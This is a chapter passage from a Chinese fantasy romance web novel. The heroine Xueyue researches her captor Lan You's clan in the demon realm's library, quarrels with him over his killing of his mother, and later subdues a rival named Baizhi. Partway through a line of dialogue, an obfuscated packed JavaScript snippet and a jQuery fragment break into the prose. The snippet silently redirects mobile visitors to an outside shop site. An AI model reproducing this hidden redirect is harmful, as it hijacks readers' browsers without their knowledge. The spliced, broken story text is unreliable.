“尊主得知陛下弑母一事,痛心疾首。又碍于亲生子之故,尊主不愿下死手,只得将他安置别处,几个月前才重回魔界。而沧渊蓝氏,因血脉极易暴动之故,被尊主尽数屠杀。”阿萝侃侃而谈。
雪月却是越听越心寒,怪不得蓝幽一直居于七堂,怪不得父子俩关系如此恶劣。她忽然觉得魔尊还挺大度,竟然没杀了蓝幽,还叫他重回魔界。
“这么说,蓝幽是沧渊遗孤?”
阿萝思索片刻,点点头。
“阿萝,若我想知道沧渊蓝氏之事,该问谁呢?”雪月问道。
阿萝搔着头,咬着唇,露出为难之态。
悄然间,茗朝走上前,回道:“姑娘可去藏书阁一寻。凡是魔族之事,皆有史书记载。只是阁内书籍浩如烟海,姑娘可能要费些时间。”
雪月见她来,尴尬道:“让你听见了。”
茗朝眸光闪烁,慌促道:“奴婢并非有意偷听,请姑娘恕罪。”
“无妨,你可帮了我个大忙。”雪月拍拍衣袖,起身活动四肢,“藏书阁,在何处?”
阿萝正要开口,却被茗朝阻拦:“陛下允了姑娘外出,只是提前与奴婢们交代了禁访之地,藏书阁便是其一。”
魔界的藏书阁内,总归是魔族居多,她一个仙家人太过显眼。蓝幽禁止她去,想来也有此缘故。只是,不去藏书阁一寻,她又能问谁呢?
蓝幽吗?他那个闷死人的性子,指定不愿开口。
她摸着下巴,猝然开口道:“茗朝,麻烦你禀报蓝幽:我在此地日子过得甚闲,想去藏书阁寻些书籍解闷。至于我今日询问的事情,半个字都不能透露给他。”
茗朝俯身道:“姑娘放心,此事乃魔族秘闻,奴婢若是上报,只会自身难保。”
茗朝做事利落,蓝幽那边很快给出回复,允她明日去藏书阁。
魔族的藏书阁唤作“万魔书墟”,墨玉书架直入苍穹,每一层皆密密麻麻铺陈着数万卷典籍。石壁刻着古老的巨大符咒,随着投入阁内的光线隐隐闪烁。
雪月逛了一圈,里边似乎只有她一人,想来是蓝幽清了场。她本想让茗朝等人一起寻找,但几人争先推辞,道仆从不能入内。她也没了办法,只能一层一层去扫书。
这是她最恨蓝幽的时候。
没有法术,就不能驱动搜书咒令,只能徒步本本翻阅。这可是个大工程,她寻了三个时辰,都未能找到半点影子。
阁内阴凉,雪月叹了口气,随便靠着一处书架坐下歇息。她嘴上抱怨着书阁太大,又骂了蓝幽几句。
“啪嗒——”不远处一侧书架上,一本古籍忽然掉了下来。
雪月皱着眉,拖着残躯走到那处,打着哈欠想将书放回原处。她俯身捡书时,无意中看了封面几个大字——“沧渊蓝氏”。
真是踏破铁鞋无觅处,得来全不费工夫。
她靠着书架翻阅起来:
“沧渊蓝氏,肇始于七万载之前,乃魔族上古首出望族。其族魔根纯粹,血脉承源正统,族人天生具极阴圣体,灵力远胜凡魔。
寻常魔族瞳色多赤、碧二色,唯蓝氏化魔之后,目呈幽蓝,此为族中至尊之相,亦是辨其族裔之凭据。
……”
雪月往后翻了几页,只是些无趣的发展史,行文间并未提到灵力暴动之事。
“在查我?”
雪月看得入迷,一只手臂忽然搭在架上,将她吓了一跳。她慌促回首,却见不知何时蓝幽已然站在她身后,将她圈在怀中。
“你什么时候来的?”她将书合上,偷偷塞入身后的书架。
“方才。”他眼神迷离,悄然抬手将她的鬓发拨到耳后,“查我蓝氏作甚?”
雪月艰难咽下口水,挺直了身板与他对视,答道:“你不是说你有苦衷吗?那我便想知道,你弑母是何缘故?”
蓝幽瞳孔一颤,很快被缱绻的笑意掩盖:“你知道了。想来是那些下人多嘴,传到了你耳中。无妨,管不住嘴的人,杀了就好。”
闻言,雪月几乎是下意识抓住他的腕。蓝幽茫然朝她看了一眼,面露无辜,好似方才说的只是些闲言碎语。
雪月慌乱,却不想示弱,只能硬气道:“要想人不知,除非己莫为。你既然敢弑母,便不要怕他人议论。你今日杀人,也只能堵住一人的嘴,可其他人呢?知晓此事的人众多,你当真杀得完?”
此话似乎将他激怒,蓝幽叩住她的下巴,眼神凶煞:“一日杀不完,便两日。两日杀不完,还有千千万万日。”
“蓝幽!他们只是无辜之人。”她圆目怒瞪,“真正有罪的,唯你而已。你不赎罪就罢了,难道还想着大开杀戒?这只会错上加错!蓝幽,收手吧……”
他的手抖得厉害,眼眶煞红,显然是被她戳中了痛处。他侧目背光,不敢看她,只低声含糊道:“你也不信我。”
雪月不明所以,他却挥袖而去,临别赠言:
“查吧,你查不清的。”
什么意思?
他这人总这样,神神叨叨的,老打谜语。
雪月又在心里吐槽了一会儿,转身将方才那本书继续翻阅。她翻到尾页,可典籍记载的蓝氏旧事还停留在百年前,早已赶不上世事变迁。
怎样才能查到十多年前那场异变呢?
雪月叹了口气,像个游魂一样在书阁转悠了一会儿,也没找到任何线索。
不愧魔族禁忌,真是半点信息都查不到。
她垂头丧气出了藏书阁。
阿萝回首招手道:“雪姑娘,你出来了,可寻到了什么?”茗朝拍了她一下,示意噤声,阿萝才捂着嘴尬笑。
雪月摇摇头,她抬眼望了远处的楼阁飞殿,叹了口气。问道:“阿萝,魔界之内,何处我可去,何处我不可去?”
“姑娘稍等。”阿萝毛手毛脚从袖中取出一卷地图,递给雪月,提示道,“朱笔所圈之处禁往,绿笔之处可去。”
这张地图极其复杂,宫殿繁多,道路交错。仅是匆匆一瞥,她便看得头犯晕。偏偏此图重要通道被尽数隐去,似乎是为了防备她逃走而故意为之。
呵。
雪月寻了处较近的花园歇脚。
此地景色宜人,来往者稀少,最适合她这种不谙热闹之人。雪月漫过曲径,踏入池上亭榭,倚着坐槛窥鱼。
已是夏季,风荷正举,菡萏生香。流光跃过檐角散入红杆,最终落在雪月的侧脸,洇出一抹流霞。
阿萝蹲在平桥一侧,伸手去拨弄池中游鱼,笑道:“这些鱼好漂亮,发着光呢。”茗朝立在其侧,淡淡道:“是水映着日光,照亮了鱼,鱼可不会发光。”
阿萝撇嘴,怏怏道:“茗朝,你可真无趣。”
两人的打趣叫雪月看见了,她瘫在椅上,不自觉勾唇轻笑。
“哟哟哟——”娇柔又尖锐的女声赫然响起,白芷带着一列侍女浩荡而来,直往亭子里走,“雪月姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622758|203464||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
娘,我们可真是有缘。”
白芷一身粉裙娇俏动人,行走间如花瓣摇曳。她手持团扇,几步走到雪月身前,漫不经心道:“先前有陛下为你撑腰。如今没了庇护,我看你还能怎么办?”
“来人。”她说话间,招呼几个侍女前来,作势就要把雪月擒住。
阿萝和茗朝想上前,却被几个侍女死死压住,只能无奈喊道:“白芷姑娘,雪月姑娘是陛下的人,您可万万不能动呀!”
“陛下的人?”白芷叉腰笑道,“我也是陛下的人,如何动不得。你们几个,快些把她抓住。”
几个侍女就要上前,雪月微微抬眸瞧了一眼,在多双手靠近的瞬间悄然闪身,几个回勾晃臂便将众人擒住。
她也不屑地绕弯子,几步飞身到白芷身前,取下她的团扇,反以扇柄压在她右肩。白芷猝然大呼,她两手胡乱拍打,尖叫道:“你个疯婆子!”
雪月嫌她吵闹,扣住她的双手压在身后,将白芷抵在栏杆前,将她半个身子提在杆上。
几个侍从吓得手舞足蹈,慌促上前妄图救她。雪月却把白芷提得更高,眼见就要将她扔在池中,威胁道:“你们敢过来,白姑娘就要喂鱼了。”
侍从闻言,只能呆愣在原地。白芷又是哭又是急,豆大的泪珠哗啦啦落下,骂道:“你这个疯女人,怎么这么大的劲!”
雪月轻笑一声:“白芷姑娘难道不知,我修的可是剑道?只带这些人来,未免太看不起我了。”
“什么剑道,乱七八糟的……你快将我放下!”白芷浑身颤着,失重的惶恐叫她连挣扎都不敢,生怕下一秒便沉了塘,“我父亲可是护法,你敢把我扔下去,我便让他将你千刀万剐。”
“是吗?”雪月将她身子一提,白芷吓得浑身窜溜,妆发衣裙乱成一团。
“你放了我。”白芷哽咽道,说话含糊不清,“我不敢了,你放了我。”
见她服了软,雪月也不吓唬她了,将她放回坐槛。白芷出了一身冷汗,心神未定,靠在栏杆之上,又是擦眼泪,又是闷声抱怨,声音细若蚊蝇。
“女孩子家,哪有你这样的……”白芷以团扇掩面,两眼哭得红肿,如花蕊碎雾,徒叫人生出怜惜。
“一身软肉,半分反抗的劲也没有。”雪月抱臂立在她身前,嘲讽道,“我们仙家的女子,也没有你这样的。”
“你!”白芷拿团扇指她,被她冷了一眼,惶恐收束,只闷闷打着杆子,“我讨厌你。”
“我也讨厌你。”雪月哼了一声,坐在对角的凳上。
白芷气得两腮鼓起,恶狠狠瞪着她:“你……”
雪月将她上下打量一番,摸着下巴思索片刻。这灼热的目光令白芷心生不安,她道:“你看我作甚?”
雪月道:“你让下人退下。”
“我凭什么?”白芷想发脾气,却见雪月忽然起身,她吓得往边上缩,“你想干嘛!”
“叫他们退下,我有话要问你。”雪月靠得近了。
“你离我远点!”白芷抱臂背对着她,眼见雪月无半点妥协之意,她才慌乱回首,招呼着下人退下。
“阿萝、茗朝,你们也先下去吧。”雪月喊了一声。
阿萝刚被那群侍女松开,眼眶红肿,却执拗道:“陛下叮嘱,奴婢不可离姑娘太远。”
雪月嘱咐道:“那你先在远处等着吧,我就在此地,不会离开。”
阿萝这才点头,随着茗朝去到岸边候着。